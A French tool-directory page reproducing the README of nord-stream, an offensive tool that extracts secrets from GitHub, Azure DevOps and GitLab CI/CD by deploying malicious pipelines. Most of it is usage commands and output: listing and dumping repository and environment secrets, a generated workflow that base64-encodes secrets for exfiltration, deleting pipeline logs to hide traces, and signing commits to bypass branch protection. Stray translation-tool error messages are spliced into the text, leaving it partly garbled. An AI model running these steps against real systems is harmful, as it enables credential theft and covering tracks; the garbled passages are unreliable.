Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nord-stream — Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab. | Kitploit
Outils/GitHubGitHub/synacktiv/nord-stream
ExploitationOutils d'ImpersonationExfiltration de DonnéesCollecte d'InformationsTests d'IntrusionDevSecOpsDétection de SecretsRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab.

3702261il y a 2 moisVérifié par Kitploit
Voir le dépôt
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Nord Stream

Nord Stream est un outil qui vous permet d'extraire les secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants.

Il prend actuellement en charge Azure DevOps, GitHub et GitLab.

En savoir plus dans l'article de blog suivant : https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Table des matières

  • Nord Stream
    • Table des matières
    • Installation
    • Utilisation
      • Arguments partagés
        • Décrire le jeton
        • Créer le YAML
        • YAML
        • Nettoyer les journaux
        • Signer les commits
      • Azure DevOps
        • Connexions de service
          • SSH
        • Lister les organisations
        • Aide
      • GitHub
        • Lister les protections
        • Désactiver les protections
        • Forcer
        • Azure OIDC
        • AWS OIDC
        • Aide
      • GitLab
        • Lister les secrets
        • YAML
        • Lister les protections
        • Aide
    • TODO
    • Contact

Installation```

$ pipx install git+https://github.com/synacktiv/nord-stream

`git` est également requis (voir https://git-scm.com/download/) et doit exister dans votre `PATH`.

## Utilisation

Voici un exemple simple sur GitHub ; au départ, on peut énumérer les différents secrets.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

Ensuite, procédez à l'exfiltration :```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

### Arguments partagés

Certains arguments sont partagés entre [GitHub](#github), [Azure DevOps](#azure-devops) et [GitLab](#gitlab), voici quelques exemples.

#### Décrire le jeton

L'option `--describe-token` peut être utilisée pour afficher des informations générales sur votre jeton :```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

Build YAML

L'option --build-yaml peut être utilisée pour créer un fichier de pipeline sans le déployer. Elle récupère les différents noms de secrets pour construire le pipeline associé, qui peut être utilisé pour ajouter des étapes personnalisées :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

#### YAML

L'option `--yaml` peut être utilisée pour déployer un pipeline personnalisé:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

I don't see any content in the INPUT section to translate. Please provide the chunk text.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

Par défaut, il affichera la sortie de la tâche nommée `command` du job `init`, mais tout est stocké localement et peut être consulté manuellement :```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

Nettoyage des journaux

Par défaut, Nord Stream tentera de supprimer les traces laissées après le déploiement d'un pipeline, selon vos privilèges. Pour conserver les traces, l'option --no-clean peut être utilisée. Cela conservera les journaux du pipeline, mais cela annulera toujours les modifications apportées au dépôt. Notez que pour GitLab, certaines traces ne peuvent pas être supprimées.

Signature des commits

Les administrateurs de dépôt peuvent imposer la signature obligatoire des commits sur une branche afin de bloquer tous les commits qui ne sont pas signés et vérifiés. Avec Nord Stream, il est possible de signer les commits pour contourner cette protection.

Commencez par créer et importer votre clé GPG sur la plateforme SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

Aucun contenu source n'a été fourni. Veuillez coller le bloc Markdown à traduire.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

[No content provided after "INPUT:"]```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

### Azure DevOps

Nord Stream peut extraire les types de secrets suivants :
- Groupes de variables (vg)
- Fichiers sécurisés (sf)
- Connexions de service

#### Connexions de service
Télécharger l’outil